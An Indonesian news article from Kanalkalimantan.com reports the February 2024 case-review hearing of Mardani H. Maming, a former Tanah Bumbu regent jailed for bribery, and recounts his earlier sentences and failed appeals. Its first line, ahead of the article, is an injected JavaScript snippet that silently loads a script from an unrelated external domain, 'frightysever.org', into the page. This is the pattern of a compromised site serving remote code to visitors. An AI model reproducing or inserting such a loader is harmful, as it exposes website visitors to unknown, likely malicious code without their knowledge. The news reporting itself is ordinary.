(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Terpidana kasus suap penerbitan Izin Usaha Pertambangan (IUP) mantan Bupati Tanah Bumbu Mardani Haji Maming (MHM) resmi mengajukan upaya umum Peninjauan Kembali (PK).
Setelah sempat ditunda pada Senin (19/2/2024) pekan lalu, memori PK Maming dibacakan tim penasehat hukum di rung sidang Pengadilan Tipikor Banjarmasin, Senin (26/2/2024) siang.
Sidang yang dipimpin ketua majelis hakim Suwandi dan dua hakim anggota dihadiri tim kuasa hukum pemohon MHM, serta dua orang jaksa dari Komisi Pemberantasan Korupsi (KPK) selaku pihak termohon.
Baca juga: Dapil III Liang Anggang Selesaikan Rekapitulasi, Ini 5 Parpol Peraih Suara Terbanyak
Sementara itu, pemohon terpidana Maming hanya mengikuti sidang secara online dari Lapas Sukamiskin Bandung tempatnya ditahan.
Kuasa hukum MHM, Abdul Qadir mengatakan, tidak hadirnya Maming secara langsung pada sidang pembacaan memori PK dikarenakan pihak Lapas Sukamiskin tidak menerima surat reelas atau penetapan dari pengadilan yang menjadi syarat terpidana dapat menghadiri sidang secara langsung.
“Tidak dapat izin dari Lapas Sukamiskin, karena tidak ada penetapan dari pengadilan,” ujar Abdul Qodir kepada majelis hakim.
Dalam memori PK, kuasa hukum Maming Maming hanya menguraikan terkait hal-hal yang menurut mereka terdapat pertentangan putusan dan adanya kekhilafan hakim dalam memutus perkara Maming dari pengadilan tingkat pertama hingga kasasi.
Baca juga: Lampaui Target Investasi 2023, Ini Kiat DPMPTSP Kabupaten Banjar
Untuk menguatkan dalil PK yang diajukan, tim kuasa hukum MHM mengatakan akan menghadirkan dua orang ahli hukum di persidangan, yaitu seorang ahli hukum pidana dan seorang ahli hukum administrasi negara.
“Ahli untuk menguatkan terkait dalil permohonan PK,” kata Abdul Qodir.
Terpisah, jaksa KPK Greafik Loserte mengatakan, pihaknya masih penasaran terkait ahli yang akan dihadirkan tim kuasa hukum termohon MHM.
Di persidangan pihaknya mengaku sempat menanyakan, dua ahli yang akan dihadirkan menjelaskan terkait dengan materil perkara atau konteks formil.
Baca juga: Aina Bisa Beli Sembako Lebih Murah, Operasi Pasar Pemprov Kalsel di Amuntai
“Ahli akan menjelaskan kekhilafan yang mana, apakah dari sisi proseduralnya atau materinya, ternyata tidak dijawab,” kata Greafik.
Namun yang jelas menurut Greafik, pihaknya akan mandengarkan terlebih dahulu dua ahli yang akan dihadirkan sebelum menyampaikan tanggapan atas memori PK pemohon.
Ketua majelis hakim Suwandi menetapkan sidang PK akan berlanjut pekan depan untuk memberikan kesempatan kuasa hukum termohon mengajukan dua orang ahli.
“Sebelum penyampaian pendapat jaksa, kami berikan kesempatan pemohon mengajukan ahli satu minggu kedepan,” tutup Suwandi.
Baca juga: Lapangan Murdjani Siap Dijadikan Spot Pasar Wadai Banjarbaru
Sekadar diketahui, sebelumnya oleh majelis hakim Pengadilan Tipikor Banjarmasin, Mardani Maming terbukti divonis bersalah melakukan tindak pidana suap atas perannya dalam menerbitkan SK Pengalihan IUP saat dirinya menjabat Bupati Tanah Bumbu.
Tanggal 10 November 2022 di Pengadilan tingkat pertama itu, Maming divonis bersalah dengan pidana 10 tahun penjara dan denda Rp500 juta subsider 4 bulan kurungan. Maming terbukti bersalah melakukan tindak pidana yang diatur dalam pasal 12 huruf b jo pasal 18 UU Tipikor.
Majelis hakim yang diketuai Hero Kuntjoro juga mengenakan pidana tambahan membayar ganti kerugian negara sebesar Rp110,6 miliar dengan ketentuan jika tidak membayar maka harta bendanya akan disita dan dilelang atau diganti dengan 2 tahun kurungan.
Baca juga: Haul ke-4 Abah Guru Zuhdi Digelar Sebelum Ramadhan
Tidak puas dengan putusan Pengadilan Tipikor Banjarmasin, Mardani mengajukan upaya hukum banding ke Pengadilan Tinggi (PT) Banjarmasin. Nasib berkata lain, dalam sidang putusan yang diketuai Gusrizal menambah hukuman Mardani Maming menjadi 12 tahun penjara atau bertambah 2 tahun dari putusan pengadilan tingkat pertama.
Mardani juga tetap dihukum untuk membayar ganti rugi sebesar Rp110,6 miliar atau diganti dengan ketentuan apabila tidak dapat membayar harta bendanya disita dan dilelang atau diganti 2 tahun kurungan.
Masih tak terima, Mardani Maming mengajukan kasasi ke Mahkamah Agung (MA). Dalam putusan, Ketua majelis hakim MA Suhadi serta dua hakim anggota MA menolak kasasi mantan Bupati Tanah Bumbu itu. Ia tetap menjalani hukuman sebagaimana putusan banding hakim Pengadilan Tinggi Banjarmasin.
Penahanan Mardani yang sebelumnya di Rutan KPK telah dipindahkan ke Lapas Sukamiskin Bandung, Jawa Barat. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More
KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More
KANALKALIMANTAN.COM, JAKARTA - Tim penyidik Komisi Pemberantasan Korupsi (KPK) menjadwalkan pemanggilan terhadap mantan Gubernur Kalimantan… Read More
This website uses cookies.